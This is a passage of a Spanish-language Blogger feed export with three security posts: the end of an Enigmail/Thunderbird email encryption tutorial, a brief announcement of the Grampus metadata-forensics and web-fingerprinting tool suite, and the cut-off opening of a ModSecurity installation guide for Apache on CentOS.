La opción final evita problemas potenciales en el cifrado y el descifrado de los correos. Ten presente que seleccionar esta casilla remueve la habilidad de enviar texto formateado(Negritas,cursivas,alineación, etc...). Después de revisar los cambios, dale un click al botón “Aceptar.”&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ahora deberemos crear nuestras respectivas llaves publica y privada&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdu5LO4F3lk0yfOXAPS0c-EWEFzGQvAvU2eXRt6Ih-GsoI-WezbDyHcnEItHNPBJlUv3B375nhd6hfQLLms9hJ17h-LF-F516Oh8ziRJiGMq1kJCzKBgohVNX7lWTziZzNcdpGloOu388/s1600/wizard8.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdu5LO4F3lk0yfOXAPS0c-EWEFzGQvAvU2eXRt6Ih-GsoI-WezbDyHcnEItHNPBJlUv3B375nhd6hfQLLms9hJ17h-LF-F516Oh8ziRJiGMq1kJCzKBgohVNX7lWTziZzNcdpGloOu388/s1600/wizard8.png&quot; height=&quot;185&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
Seleccionaremos que deseamos crear nuestra llaves.&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
A menos que &amp;nbsp;hayas &amp;nbsp;configurado más de una cuenta de correo, &lt;b&gt;Enigmail &lt;/b&gt;escogerá la cuenta que ya has configurado. La primera cosa que debes hacer es elegir una contraseña fuerte para tu llave privada.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp5bjqd2MCKLJ6jW_5xOee52VwnMDTo3bMVn4RrHL02WV1WNeebvPTOIT7ckDGqS0oQq263wv1eIW9Y1WWSnqfiLgvZOBsnNNFAF6LjLHmXX7_aeVljTrrR9zjRGCAbeXLyEHayUTpneM/s1600/wizard9.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp5bjqd2MCKLJ6jW_5xOee52VwnMDTo3bMVn4RrHL02WV1WNeebvPTOIT7ckDGqS0oQq263wv1eIW9Y1WWSnqfiLgvZOBsnNNFAF6LjLHmXX7_aeVljTrrR9zjRGCAbeXLyEHayUTpneM/s1600/wizard9.png&quot; height=&quot;545&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Digitamos nuestra contraseña robusta&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;Enigmail&lt;/b&gt; mostrará algunos datos sobre nuestra llave privada como también los ajustes de la configuración.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7yVKqcp_wy-jnPN9sASpd4oOXFTZwWybkKJ2yiw5GFzb7KuVonLsl9KxdxrTTM0BK6UovUIjTbXo_DfjIlY2eEYlG3AhI8DIjpGgPi5lXv0ZAPAURtQrkZCYKm2INgUuanJ3T5U2p6uA/s1600/wizard10.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7yVKqcp_wy-jnPN9sASpd4oOXFTZwWybkKJ2yiw5GFzb7KuVonLsl9KxdxrTTM0BK6UovUIjTbXo_DfjIlY2eEYlG3AhI8DIjpGgPi5lXv0ZAPAURtQrkZCYKm2INgUuanJ3T5U2p6uA/s1600/wizard10.png&quot; height=&quot;224&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Es posible extender el tiempo de vida de una llave existente dándole una nueva fecha de caducidad, como tambien es posible reemplazarla con una nueva. Ambos procesos requieren contactar a las personas que te envían email cifrados y asegurarte de que ellos reciban la nueva llave.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;Enigmail &lt;/b&gt;generará la llave y cuando esté completa, una ventana se abrirá solicitando que generes un certificado de revocación. Este certificado de revocación es importante por que te permitirá invalidar tus llaves públicas y privadas.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Es también importante notar que el hecho de borrar la llave privada no invalida la llave pública y puede llevarte a recibir correos cifrados que no podrás descifrar&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjKsPdVHpw4l4EEVUfaB9d8RGfQyB7I6r_WpZML28S2ZUsXzYb-XrT2ywkyL3f_jANTuqehSM2pUfktQopjnJCwIDDMa7C6cfXV0HtfsERB2CVtqYcET3HVvz6xOqtpKKH5fcEokQJsxU/s1600/wizard11.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjKsPdVHpw4l4EEVUfaB9d8RGfQyB7I6r_WpZML28S2ZUsXzYb-XrT2ywkyL3f_jANTuqehSM2pUfktQopjnJCwIDDMa7C6cfXV0HtfsERB2CVtqYcET3HVvz6xOqtpKKH5fcEokQJsxU/s1600/wizard11.png&quot; height=&quot;532&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Guardamos y elegimos una contraseña para el certificado&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhpMBOYCkC8XSDgGY_4xMkcB4GbCLrXGqKbEWEx5XxDVcsIoxXA9dVrUrnkaq8KZSbD2niZ3f7o1UgCvJhMpbdudpk_Lxh8upe_XIRISCOiVs88KiguJZsUq83JQsowQv_VaLD-GvuC3s/s1600/wizard12.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhpMBOYCkC8XSDgGY_4xMkcB4GbCLrXGqKbEWEx5XxDVcsIoxXA9dVrUrnkaq8KZSbD2niZ3f7o1UgCvJhMpbdudpk_Lxh8upe_XIRISCOiVs88KiguJZsUq83JQsowQv_VaLD-GvuC3s/s1600/wizard12.png&quot; height=&quot;536&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Finalizamos con la generación del certificado&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTUoGmDOYIdEHHBSSam29eo46DbezKyfVcOLUFZmYBVS6W1HbcMJIDdWsyB9zSlTxpRBVyItzG3yIhyphenhyphenBYrKZdpFsNeGQIZ4SO98eERjqz2Uq2T0DfIIruH_I3sihzz7bkPmbHT56cOm2M/s1600/wizard13.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTUoGmDOYIdEHHBSSam29eo46DbezKyfVcOLUFZmYBVS6W1HbcMJIDdWsyB9zSlTxpRBVyItzG3yIhyphenhyphenBYrKZdpFsNeGQIZ4SO98eERjqz2Uq2T0DfIIruH_I3sihzz7bkPmbHT56cOm2M/s1600/wizard13.png&quot; height=&quot;131&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Finalizamos con configurar e instalar &lt;b&gt;enigmail &lt;/b&gt;para &lt;b&gt;thunderbird&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;CONFIGURACIÓN&amp;nbsp;OPCIONAL ( USO PGP/MIME)&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Configurar &lt;b&gt;PGP/MIME,&lt;/b&gt;&amp;nbsp;nos permitirá hacer un uso mas fácil el enviar cifrado y adjuntos.&lt;br /&gt;
&lt;br /&gt;
Podemos encontrar estos ajustes haciendo clic en el menu&amp;nbsp;&lt;b&gt;Herramientas &amp;gt;&lt;/b&gt;&amp;nbsp;&lt;b&gt;Configuración&amp;nbsp;de &amp;nbsp;la Cuenta&lt;/b&gt;&lt;br /&gt;
y en la ventana de configuracion hacemos clic en &lt;b&gt;Seguridad OpenPGP&lt;/b&gt;.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzPjProWRv08HJcsFipKGIXUkO_rVY-3a_eYcBP2Tm_OjMDgEakmpcRVgTBrh4rMXvvZv-pzoStAYv6LGNpHbYSXYp2LMhL0ELIkKZhbeQ5bWK1pgkzYILqa5mbT0Wkt6eNI5J0P6b640/s1600/MIME1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzPjProWRv08HJcsFipKGIXUkO_rVY-3a_eYcBP2Tm_OjMDgEakmpcRVgTBrh4rMXvvZv-pzoStAYv6LGNpHbYSXYp2LMhL0ELIkKZhbeQ5bWK1pgkzYILqa5mbT0Wkt6eNI5J0P6b640/s1600/MIME1.png&quot; height=&quot;411&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;NOTA: &lt;/b&gt;Al activar esta opcion hay que tener presente que solo nos comunicaremos con los que posean esta misma tecnologia.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/2764854358592036800/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/cifrado-de-correos-en-thunderbird.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/2764854358592036800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/2764854358592036800'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/cifrado-de-correos-en-thunderbird.html' title='Cifrado de correos en Thunderbird'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPcc2TgC5uCPm_47Oelh4u2pEQTKtRNPOa5wuEOKvLNSPatK_rvU2KNILcQjCDTqXNPmUdxX-wt_9KLjFPREi70z0oS0JqxV5nYdj9LYr_P-ZtXkPUxYaXV018takGkNnJ66BXWsONqzI/s72-c/extension.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-8279552691320652474</id><published>2014-11-11T14:28:00.001-05:00</published><updated>2015-03-04T16:43:44.111-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="analisis forense"/><category scheme="http://www.blogger.com/atom/ns#" term="Computacion forense"/><category scheme="http://www.blogger.com/atom/ns#" term="Grampus"/><category scheme="http://www.blogger.com/atom/ns#" term="herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="pentesting"/><title type='text'>Grampus Herramienta para Pentesters y Forenses</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2BKtuQSyPIOGHBH2F2RB_S-shS5RIHOkOBASQmOGQorU20DxTQvbmYlJRZ5XtS_S9nKV9tNqipkcWTKJRXXDBTKmxmVpOonhgDyBoUECTA8Von1LfM12fwQ0EycRqfMlKCARarov0QYg/s1600/Propuesta-Grampus.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2BKtuQSyPIOGHBH2F2RB_S-shS5RIHOkOBASQmOGQorU20DxTQvbmYlJRZ5XtS_S9nKV9tNqipkcWTKJRXXDBTKmxmVpOonhgDyBoUECTA8Von1LfM12fwQ0EycRqfMlKCARarov0QYg/s1600/Propuesta-Grampus.jpg&quot; height=&quot;320&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Grampus Project nace para todos aquellos usuarios que necesitan automatizar sus procesos en auditorias web.&lt;br /&gt;
&lt;br /&gt;
Como sabemos la recopilación de información a la hora de realizar un ataque a un objetivo es esencial y a veces este proceso puede ser muy largo y pesado.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En estos momento el proyecto se encuentra en su fase &lt;b&gt;BETA &lt;/b&gt;y es una herramienta muy prometedora, funcional e ideal para trabajo de Pentesters&amp;nbsp;y Forense.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;El proyecto Grampus se divide de esta manera :&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Forensic Grampus&lt;/li&gt;
&lt;li&gt;Anti-Forensic Grampus&lt;/li&gt;
&lt;li&gt;Grampus&lt;/li&gt;
&lt;li&gt;Anti Grampus&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Todas estas herramienta son programadas en python la cual lo hace multiplataforma&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Forensic Grampus :&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;Es una herramienta forense que pretende extraer y analizar los&amp;nbsp;meta-datos&amp;nbsp;encontrados en documentos,&amp;nbsp;imágenes&amp;nbsp;, archivos y aplicaciones.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Esta totalmente programado en Python por lo que es la perfecta alternativa multi-plataforma para Forensic FOCA superando a esta con creces en cuanto a extensiones soportadas.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
(Para ver las extensiones soportadas puedes visitar el proyecto en Bitbucket)&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Anti-Forensic Grampus :&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Anti Forensic Grampus es una herramienta ANTI forense que pretende eliminar o modificar aquellos meta-datos encontrados en documentos, imágenes, archivos y aplicaciones.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Es una buena alternativa a Metashield Protector proporcionando protección contra las mismas extensiones que podemos analizar en Forensic Grampus.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Grampus :&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Grampus es una herramienta para la automatización de procesos fingerprinting en los trabajos de auditoria web sumándole a esto la posibilidad de extraer y analizar los documentos públicos encontrados en la propia página a la que se le realiza la auditoria.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Anti - Grampus :&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Anti Grampus es una herramienta creada para evitar exponer datos o credenciales que puedan ser de utilidad en ese proceso de fingerprinting volviendo así a nuestro sitio más seguro.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Los desarrolladores del proyecto:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div style=&quot;background-color: white; border: 0px; box-sizing: border-box; color: #333333; font-family: &#39;Open Sans&#39;; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;a href=&quot;https://twitter.com/Kodeinfect&quot; style=&quot;background-color: transparent; border: 0px; box-sizing: border-box; color: #333333; line-height: 20.7999992370605px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;&quot; target=&quot;_blank&quot;&gt;@&lt;/a&gt;&lt;a class=&quot;twitter-atreply pretty-link&quot; href=&quot;https://twitter.com/The_Pr0ph3t&quot; style=&quot;border: 0px; box-sizing: border-box; color: #333333; line-height: 20.7999992370605px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;&quot; target=&quot;_blank&quot;&gt;The_Pr0ph3t&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; box-sizing: border-box; color: #333333; font-family: &#39;Open Sans&#39;; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;a href=&quot;https://twitter.com/Kodeinfect&quot; style=&quot;background-color: transparent; border: 0px; box-sizing: border-box; color: #333333; line-height: 20.7999992370605px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;&quot; target=&quot;_blank&quot;&gt;@&lt;/a&gt;&lt;a class=&quot;twitter-atreply pretty-link&quot; href=&quot;https://twitter.com/SankoSK&quot; style=&quot;border: 0px; box-sizing: border-box; color: #333333; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;&quot; target=&quot;_blank&quot;&gt;SankoSK&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; box-sizing: border-box; color: #333333; font-family: &#39;Open Sans&#39;; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;a href=&quot;https://twitter.com/Kodeinfect&quot; style=&quot;background-color: transparent; border: 0px; box-sizing: border-box; color: #333333; line-height: 20.7999992370605px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;&quot; target=&quot;_blank&quot;&gt;@&lt;/a&gt;&lt;a class=&quot;twitter-atreply pretty-link&quot; href=&quot;https://twitter.com/sniferl4bs&quot; style=&quot;border: 0px; box-sizing: border-box; color: #333333; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;&quot; target=&quot;_blank&quot;&gt;sniferl4bs&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; box-sizing: border-box; color: #333333; font-family: &#39;Open Sans&#39;; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;a href=&quot;https://twitter.com/Kodeinfect&quot; style=&quot;background-color: transparent; border: 0px; box-sizing: border-box; color: #333333; line-height: 20.7999992370605px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;&quot; target=&quot;_blank&quot;&gt;@&lt;/a&gt;&lt;a class=&quot;twitter-atreply pretty-link&quot; href=&quot;https://twitter.com/don_once&quot; style=&quot;border: 0px; box-sizing: border-box; color: #333333; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;&quot; target=&quot;_blank&quot;&gt;don_once&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; box-sizing: border-box; color: #333333; font-family: &#39;Open Sans&#39;; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;a href=&quot;https://twitter.com/Kodeinfect&quot; style=&quot;background-color: transparent; border: 0px; box-sizing: border-box; color: #333333; line-height: 20.7999992370605px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;&quot; target=&quot;_blank&quot;&gt;@&lt;/a&gt;OverxFlow&lt;br /&gt;
&lt;a href=&quot;https://twitter.com/Kodeinfect&quot; style=&quot;border: 0px; box-sizing: border-box; color: #333333; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;&quot; target=&quot;_blank&quot;&gt;@Kodeinfect&lt;/a&gt;&amp;nbsp;el designer oficial&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; box-sizing: border-box; color: #333333; font-family: &#39;Open Sans&#39;; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;a href=&quot;https://bitbucket.org/grampusteam/grampus/downloads/userguide_grampus%5BESP%5D.pdf&quot;&gt;Guia de usuario en Español:&amp;nbsp;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Pueden seguir y descargar el proyecto en bitbucket : &lt;a href=&quot;https://bitbucket.org/grampusteam/&quot;&gt;https://bitbucket.org/grampusteam/&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
o noticias del proyecto en la cuenta twitter del proyecto:&amp;nbsp;&lt;a href=&quot;https://twitter.com/GrampusTeam&quot;&gt;https://twitter.com/GrampusTeam&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Saludos.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/8279552691320652474/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2014/11/grampus-herramienta-para-pentesters-y.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/8279552691320652474'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/8279552691320652474'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2014/11/grampus-herramienta-para-pentesters-y.html' title='Grampus Herramienta para Pentesters y Forenses'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2BKtuQSyPIOGHBH2F2RB_S-shS5RIHOkOBASQmOGQorU20DxTQvbmYlJRZ5XtS_S9nKV9tNqipkcWTKJRXXDBTKmxmVpOonhgDyBoUECTA8Von1LfM12fwQ0EycRqfMlKCARarov0QYg/s72-c/Propuesta-Grampus.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-7954873795130079581</id><published>2014-11-11T13:58:00.000-05:00</published><updated>2014-11-11T13:58:44.928-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="apache"/><category scheme="http://www.blogger.com/atom/ns#" term="aseguramiento"/><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="hardening"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Modsecurity"/><category scheme="http://www.blogger.com/atom/ns#" term="securizar"/><title type='text'>Instalación del modSecurity en apache (CentOS)</title><content type='html'>&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgk3MPAFnjA6OXhY9TOziI9sIfvgm-urs7P0rWXZ0Tm-YvZv528eGY3t1FIyH6Qh_6vjlrxjMg6L186dYTWrLPd6oE49EF4S1HvuoBLiKTrct80ZdzOQxT7_QJOinMbzbUMoHGjPCecn8M/s640/ModSecurityLogo.png&quot; height=&quot;164&quot; width=&quot;640&quot; /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;modSecurity™ &lt;/b&gt;es un firewall de aplicaciones Web embebible que se ejecuta como módulo del servidor web Apache, provee protección contra diversos ataques hacia aplicaciones Web y permite monitorizar tráfico HTTP, así como realizar análisis en tiempo real sin necesidad de hacer cambios a la infraestructura existente.1&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
